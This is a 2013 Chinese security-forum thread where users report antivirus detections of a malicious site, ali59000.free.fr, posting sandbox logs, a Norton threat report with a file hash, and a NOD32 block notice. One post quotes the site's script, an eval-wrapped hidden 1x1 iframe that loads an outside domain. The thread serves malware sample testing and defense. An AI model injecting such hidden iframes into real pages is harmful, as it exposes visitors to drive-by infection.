http://ali59000.free.fr/

显示全部楼层 · 发表于 2013-4-3 12:35:15

2013/4/3 12:32:43 已删除 l\X C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\X\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\0GOL6OM3\ali59000_free_fr[1].htm\000006c2.js JS/Redirector.u (特洛伊)

显示全部楼层 · 发表于 2013-4-3 12:53:05

<script>eval(unescape('document.write('<iframe src="http://sedvb.com/" width=1 height=1></iframe>')'));</script>

复制代码

这毒网很有情趣……
fs能杀但是杀不干净，我怀疑还没解完

显示全部楼层 · 发表于 2013-4-3 13:34:16

显示全部楼层 · 发表于 2013-4-3 13:45:25

NIS2013...

文件名: ali59000_free_fr[1].htm
威胁名称: Trojan.Malscript!html
完整路径: c:\users\sshss\appdata\local\microsoft\windows\temporary internet files\content.ie5\51b7aokz\ali59000_free_fr[1].htm

____________________________

详细信息
未知的社区使用情况, 未知的文件存在时间, 风险高

原始
下载自 未知

活动
已执行的操作: 已执行的操作: 1

____________________________

在电脑上的创建时间 2013/4/3 ( 13:42:37 )
上次使用时间 2013/4/3 ( 13:44:38 )
启动项目否
已启动否

____________________________

未知
诺顿社区中使用了此文件的用户数未知。

未知
此文件版本当前未知。

高
此文件具有高风险。

威胁类型: 病毒。将自身插入或附加到其他程序、文件或电脑区域以感染这些媒介的程序。

____________________________

来源: 外部介质
源文件:
ali59000_free_fr[1].htm

____________________________

文件操作

文件: c:\Users\ssHss\AppData\Local\microsoft\Windows\temporary internet files\Content.IE5\51B7AOKZ\ali59000_free_fr[1].htm已删除
____________________________

文件指纹 - SHA:
25028c05a27b68bead5a55002f320a57e72e1f0d11a7b5fe3abd3bea46862bf3
文件指纹 - MD5:
不可用

显示全部楼层 · 发表于 2013-4-3 21:20:07

显示全部楼层 · 发表于 2013-4-4 10:30:38

NOD32 6.0拦截

[未鉴定] http://ali59000.free.fr/